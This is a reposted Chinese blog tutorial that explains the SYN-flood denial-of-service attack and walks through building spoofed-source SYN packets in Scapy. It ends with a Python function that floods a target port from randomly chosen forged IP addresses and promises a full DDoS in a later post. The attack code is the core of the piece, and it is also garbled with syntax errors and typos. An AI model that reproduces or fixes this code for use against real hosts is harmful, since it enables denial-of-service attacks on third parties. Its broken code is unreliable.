Python项目 基于Scapy实现SYN泛洪攻击的方法

作者:茂子666 时间:2023-01-15 01:34:30 

python3版本的Scapy--Scapy3k来实现一个简单的DDos。

首先实现SYN泛洪攻击(SYN Flood,是一直常用的DOS方式之一,通过发送大量伪造的TCP连接请求,使被攻击主机资源耗尽的攻击方式)。TCP三次握手的过程在这里就不再赘述,SYN攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文,由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,如果超过一定的时间没有接收到客户端的报文,那么本次连接在协议栈中存储的数据就会被丢弃。攻击者如果利用这段时间发送了大量的连接请求,全部挂起在半连接状态,这样将不断消耗服务器资源,直到拒接服务。

Scapy是一个强大的交互式数据包处理程序,可以用来发送、嗅探、解析和伪造网络数据包。首先需要安装Scapy3k:

sudo pip3 install scapy-python3

Python项目 基于Scapy实现SYN泛洪攻击的方法

现在学习一下scapy的使用方法:

sudo scapy(scapy发送数据包需要root权限)

Python项目 基于Scapy实现SYN泛洪攻击的方法

(警告信息是因为有一些依赖包没有安装,但是我们本次实验不需要使用我就不装了)

现在我们使用Scapy构造一个简单的数据包看一下:

pkt = IP(dst = "192.168.0.10")

Python项目 基于Scapy实现SYN泛洪攻击的方法

接下来我们就构造一个SYN包:

pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")

Python项目 基于Scapy实现SYN泛洪攻击的方法

(我们构造了一个IP包和TCP包并将它们组合到一块,这样就有了一个完整的TCP数据包,否则是无法发送出去的,IP包中我)们指定了源IP地址src和目的IP地址dst,其中src是我们伪造的地址,flags的值设定为S说明要发送的是SYN数据包)

代码实现:

具体代码如下:


import random
import scapy.all import *

def synFlood(tgt,dPort):
 srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
 from sPort in range(1-24,65535):
   index = random.randrange(4)
   ipLayer = IP(stc = stcList[index].dst = tgt)
   tcoLayer = TCP(sport = sPort,dport = dPort,flags = "S")
   packet = ipLayer/tcpLayer
   send(packet)

定义了srcList用于存放伪造的IP地址,之后定义了一个循环,作用是每次发送数据包源端口都改变,可以看到在构造TCP数据包的时候我们增加了一个参数sport,循环中改变的端口号就是给了sport这个参数。我们还调用random.randrange()函数来随机从srcList中获取一个伪造的IP地址。本次实验就算完成,下次实验实现一个完整的Ddos过程。

来源:https://blog.csdn.net/weixin_40602516/article/details/81165252

标签:Python,Scapy,SYN,泛洪攻击
0
投稿

猜你喜欢

  • PHP函数shuffle()取数组若干个随机元素的方法分析

    2023-10-14 16:06:55
  • 完美解决Python2操作中文名文件乱码的问题

    2022-12-12 11:29:46
  • PyCharm软件无法安装lxml库的问题及解决

    2023-06-04 01:54:30
  • python django model联合主键的例子

    2023-10-09 19:18:17
  • mysql 获取昨天日期、今天日期、明天日期以及前一个小时和后一个小时的时间

    2024-01-24 08:21:54
  • 简单分析Python中用fork()函数生成的子进程

    2021-11-24 02:48:02
  • Javascript发送AJAX请求实例代码

    2024-04-29 13:13:34
  • Python3内置模块pprint让打印比print更美观详解

    2022-02-04 01:55:28
  • goland把go项目打包进docker镜像的全过程记录

    2024-04-25 13:17:32
  • python任务调度实例分析

    2021-06-30 12:42:57
  • PHP children()函数讲解

    2023-06-13 04:38:38
  • 简单了解Python字典copy与赋值的区别

    2022-07-16 11:35:52
  • python多进程重复加载的解决方式

    2021-07-22 23:49:43
  • 在vue项目中使用Jquery-contextmenu插件的步骤讲解

    2023-07-02 17:08:29
  • 基于python3监控服务器状态进行邮件报警

    2022-05-05 05:25:39
  • 如何用Response.Write调用代替内嵌表达式?

    2010-06-13 14:33:00
  • python实现图像降噪

    2022-03-09 06:36:38
  • 详解如何用Python写个听小说的爬虫

    2021-09-04 09:56:09
  • idea激活码最新获取方法(idea2020激活码汇总)

    2024-01-03 08:42:52
  • Sql Server 字符串聚合函数

    2024-01-17 08:15:34
  • asp之家 网络编程 m.aspxhome.com